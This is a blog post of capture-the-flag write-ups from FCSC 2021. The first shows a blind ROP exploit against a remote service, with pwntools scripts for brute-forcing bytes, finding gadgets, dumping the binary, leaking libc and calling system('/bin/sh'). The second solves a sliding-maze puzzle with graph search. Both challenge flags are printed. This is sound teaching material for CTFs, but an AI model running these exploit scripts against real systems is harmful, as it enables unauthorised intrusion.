Posts Qualifying at FCSC 2021 - Write Ups
Post
Cancel

Qualifying at FCSC 2021 - Write Ups

logo

Introduction

Hello there !

In April, I participated in the French Cybersecurity Challenge, where I got Top 6 in the junior scoreboard ! Here is two detailed write ups about two challenges I very much appreciated. You can find notes and exploits for other challenges, and source code for these two write ups on my github !

Pwn

Blind Date (500pts)

Description

The description does not give any hint and we have no binary given. Here is an example of what the challenge looks like on the remote:

1
2
3
4
5
Hello you.
What is your name ?
>>> Red
Thanks Red
Bye!

We only have one input and nothing more.

Two things to try:

  • Format string: Sent %x but nothing appeared.
  • Buffer overflow: Sending more than 40 characters, the remote crashes !

Doing a little bit of Googling on blind pwning, I found the Blind ROP technique. Basically, by bruteforcing the remote searching for interesting addresses, we may be able to ROP.

Here is how I did it on this challenge !

Bruteforcing the next 8 bytes

We do not have any information on the binary. Leaking the next 8 bytes could give us a canary or a base address.

So we are searching for the next 8 bytes not crashing the binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
data = b''
# Leaking 8 bytes
for _ in range(8):
    # Testing all 256 valyes
    for i in range(256):
        io = remote('challenges2.france-cybersecurity-challenge.fr', 4008, level='ERROR')
        io.recv()
        io.send(b'a' * 40 + data + bytes([i]))
        try:
            received = io.recv(timeout=2)
        except:
            # Remote crashed
            io.close()
            continue

        if b'Bye' in received:
            data += bytes([i])
            io.close()
            break
        io.close()

print(data)

With that script, we get 0x4006cc for the next 8 bytes. This does not look like a canary and we can infer that the base address of the binary is 0x400000.

Stop Gadget

To be sure that our ROP did not crash the remote, we must find a gadget indicating that our ROP chain worked. Such an address would be an address that prints a string or keeps the connection opened.

In our case I will be scanning from 0x400000 to 0x401000 for an address keeping the connection opened. This can take a lot of time, so multithreading the scan might be a good idea. The multithreading part is adapted from this Write Up.

Here is a quick overview of the scanning process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while True:
    try:
        offset = get_next(it)
    except:
        return
    try:
        base = 0x400000
        time.sleep(0.2)
        if offset % 0x100 == 0:
            print("----- Scanning 0x%x" % offset)
        io = remote('challenges2.france-cybersecurity-challenge.fr', 4008, level='ERROR')
        io.recv(timeout=2)
        io.send(b'a' * 40 + p64(base + offset))
        sleep(0.5)
        if io.connected():
            print("Stop gadget at", hex(base + offset))
        io.close()
    except Exception as e:
        print(e)
        pass

We get multiple candidates that we will save for later, you will see why.

BROP Gadget

Now we are looking for a gadget allowing us to control registers. And for that there is a pretty famous gadget in __libc_csu_init:

1
2
3
4
5
6
7
5b             pop rbx
5d             pop rbp
415c           pop r12
415d           pop r13
415e           pop r14
415f           pop r15
c3             ret

This gadget is interesting because it has “inner gadgets”. At BROP_gadget + 7 we have:

1
2
3
5e             pop rsi
415f           pop r15
c3             ret

And at BROP_gadget + 9 there is:

1
2
5f             pop rdi
c3             ret

This gadget is important because it is easy to find (6 pop is pretty unique) and allows us to control rsi and rdi, two important registers for argument control.

To find it, we scan again, searching for an address that does not crash when followed by 6 random addresses. Our stop gadget is here to verify that we did not crash. But we have to be careful: if the address we are bruteforcing is an address keeping the connection opened, it will trigger our check.

But remember, above I said you to note every one of them. So before sending the payload, we check it is not one of those addresses.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
while True:
    try:
        offset = get_next(it)
    except:
        return
    try:
        base = 0x400000
        # Skipping stop gadgets
        if is_prompt_addr(base + offset):
            continue
        time.sleep(0.2)
        if offset % 0x100 == 0:
            print("----- Scanning 0x%x" % offset)
        io = remote('challenges2.france-cybersecurity-challenge.fr', 4008, level='ERROR')
        io.recv(timeout=2)
        # Checking for addresses popping 6 addresses
        io.send(b'a' * 40 + p64(base + offset) + p64(0) * 6 + p64(stop_gadget))
        sleep(0.5)
        if io.connected():
            verify_brop(base + offset)
        io.close()
    except Exception as e:
        print(e)
        pass

To prevent further false positives, you can verify that your bruteforced address (that has passed the first checks so far), pops 2 addresses at bruteforced_addr + 7 and only one at bruteforced_addr + 9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def verify_brop(addr):
    io = remote('challenges2.france-cybersecurity-challenge.fr', 4008, level='ERROR')
    io.recv(timeout=2)
    # Checking pop rsi
    io.send(b'a' * 40 + p64(addr + 7) + p64(0) * 2 + p64(stop_gadget))
    sleep(0.5)
    if not io.connected():
        return
    io = remote('challenges2.france-cybersecurity-challenge.fr', 4008, level='ERROR')
    io.recv(timeout=2)
    # Checking pop rdi
    io.send(b'a' * 40 + p64(addr + 9) + p64(0) + p64(stop_gadget))
    sleep(0.5)
    if not io.connected():
        return
    print("Possible BROP at", hex(addr))

Full scripts can be found on Github as usual.

Leaking the binary

Now that we have control on rdi we are searching for an address leaking memory where we want, like a call to puts.

At the beginning of the binary we have a known string : \x7fELF (At 0x400000 in our case).

Again we are scanning for such an address: We send p64(pop_rdi) + p64(0x400000) + p64(bruteforced_address) + p64(stop_gadget) and check for the ELF string.

Once you found it, leak the whole binary by changing the address you control. You cannot multithread for this step as you need things to be in the right order.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
leak = 0x400000
while leak <= 0x401000:
    print(hex(leak))
    time.sleep(0.5)
    io = remote('challenges2.france-cybersecurity-challenge.fr', 4008, level='ERROR')
    io.recv(timeout=2)

    io.send(b'a' * 40 + p64(pop_rdi) + p64(leak) + p64(call_puts))

    received = io.recv(timeout=2)[50:-25]
    # If received nothing, it was a null byte stopping *puts*
    if received == b'':
        received = b'\x00'
    f.write(received)
    print(received)
    leak += len(received)

Exploitation

Once you are done, open the obtained binary in Ghidra. Set the base address to 0x400000 (Window -> Memory map -> Set Image Base (house icon))

Find a GOT entry that you know (go to your puts and search).

Now it is a basic exploit:

  • Leak libc (leak the GOT with your pop rdi and puts)
  • Find system and /bin/sh addresses
  • Use our pop_rdi gadget and exploit!

Here is an overview

1
2
3
4
5
6
7
8
9
10
11
12
13
io.send(b'a' * 40 + p64(pop_rdi) + p64(puts_got) + p64(call_puts) + p64(0) + p64(ret_addr))

received = io.recv()[50:-25]

leak_puts = struct.unpack("<Q", received + b'\x00\x00')[0]
# libc6_2.19-18+deb8u10_amd64
libc_base = leak_puts - 0x6b990
bin_sh = libc_base + 0x1633e8
system = libc_base + 0x41490

io.send(b'a' * 40 + p64(pop_rdi) + p64(bin_sh) + p64(system))

io.interactive()

And get the flag ! FCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}

Misc

Ventriglisse (200pts)

Description

I loved that challenge so much I wanted to do a detailed write up.

Connecting to the remote we have an explanation of the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Big base64 encoded maze*/
You are intially located outside the area at the bottom red mark.
At the beginning, you jump right in the area (head first!) and you slide up and stop at the first wall encountered.
Once you hit a wall, you can jump again in another direction to continue your amazing soapy journey.
Your goal is get out of the zone at the red mark at the top.
Send me how you would like to move within the maze as follows:
 - N to go North
 - S to go South
 - E to go East
 - O to go West
On the example above, a valid path would be NESENONOSENENON.
Note that a valid path would always start and end by 'N'.
In this example, paths starting by NO, NN or NEN would be invalid (as your head would hit a wall).
Press a key when you are ready...

Here is the example Maze decoded : Maze

I had a lot of courses on graphs before, so I directly knew it was a path finding challenge. There are a lot of path finding algorithms on the internet. Furthermore, the remote waits for a valid path, not the shortest.

The difficulty is how to represent such a maze with graphs.

To apply path finding algorithms, we need a graph representation with moves as edges and positions as vertices.

To translate the maze into a graph, I first did an intermediate representation.

I represent the board as a matrix of cells, each cell has 4 booleans, representing whether or not there is a wall on its top, down, left and right side. I added two other booleans to know if it is an entry or an exit of the maze.

1
2
3
4
5
6
7
8
class Cell:
    def __init__(self, up, left, down, right):
        self.up = up
        self.left = left
        self.right = right
        self.down = down
        self.is_entry = False
        self.is_exit = False

The board class only consists of a matrix and 4 methods allowing me to move from a position to an other. For example, the get_north method will give me the position if the player moved north from the given position. It returns None if it cannot go north because there is already a wall at its top.

1
2
3
4
5
6
def get_north(self, x, y):
    if self.board[x][y].up:
        return None
    while not self.board[x][y].up:
        x -= 1
    return x, y

Now we can do the graph representation. I could have limited the number of vertices, but it was much simpler to have a vertex for each cell. As I said, each edge will represent a move from a position to another, therefore I noted them with N, S, O or E according to the move.

It is a very basic graph class

1
2
3
4
5
6
7
8
9
class Graph:
    def __init__(self, n):
        self.n = n
        self.adjlist = []
        for i in range(n):
            self.adjlist.append([])

    def add_edge(self, a, b, dir):
        self.adjlist[a].append((b, dir))

Now time to build the graph. I am starting from the entry point and directly simulate a North move, as it is a constraint.

1
2
start_pos = board.get_north(*board.entry)
g.add_edge(g.position_to_node(*board.entry), g.position_to_node(*start_pos), 'N')

Then, I recursively search for the exit. For each position, I go to north, south, west, and east, and create the corresponding edges. I repeat until every node has been visited.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def DFS(board, g, visited, pos):
    # Mark node as visited
    visited.append(pos)
    # Get position
    north = board.get_north(*pos)
    south = board.get_south(*pos)
    west = board.get_west(*pos)
    east = board.get_east(*pos)
    # Verify we can go north
    if north is not None:
        g.add_edge(g.position_to_node(*pos), g.position_to_node(*north), 'N')
        if north not in visited:
            DFS(board,g, visited, north) # Recursive search
    if south is not None:
    ...

Now it is time to find the easiest way to find a path (as we do not need the shortest). I simply do a BFS, marking the parent of each node. I stop when I find the exit.

When the exit is found, I just have to backtrack the parent of each node, starting from the exit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def get_path(g, src, dest):
    visited = [src]
    queue = [src]
    pred = [-1] * g.n

    while len(queue) > 0:
        u = queue[0]
        queue.pop(0)
        for adj in g.adjlist[u]:
            if adj[0] not in visited:
                visited.append(adj[0])
                pred[adj[0]] = (u, adj[1])
                queue.append(adj[0])
                if adj[0] == dest:
                    break

    path = ['N']
    tmp = dest
    while pred[tmp] != -1:
        path.insert(0, pred[tmp][1])
        tmp = pred[tmp][0]

    path.insert(0, 'N')
    return "".join(path)

And we have our maze solver !

The code to automatically deal with the remote was done with pwntools, you can find it in my github, but it is just a matter of reading in a while loop, translating the base64 maze and sending the answer.

I also did not talk about the parsing of the maze image, because my solution is not the cleanest. The good thing was that every column and row had the same size everytime, so you can scan line by line and columns by columns every 64 pixels. When I find a wall, I get its index in the matrix and change the corresponding boolean to True. For sure, when I find a vertical wall, I set the right boolean of the left cell, and the left boolean of the right cell (yeah read it slowly), same for horizontal walls.

1
Congratulations! Here is your flag: FCSC{c78b1d02700bbe83a8c4ec8cec7ce3109dfa1620189a460189a1e345447ae5f2}
This post is licensed under CC BY 4.0 by the author.
Trending Tags
Contents

Trending Tags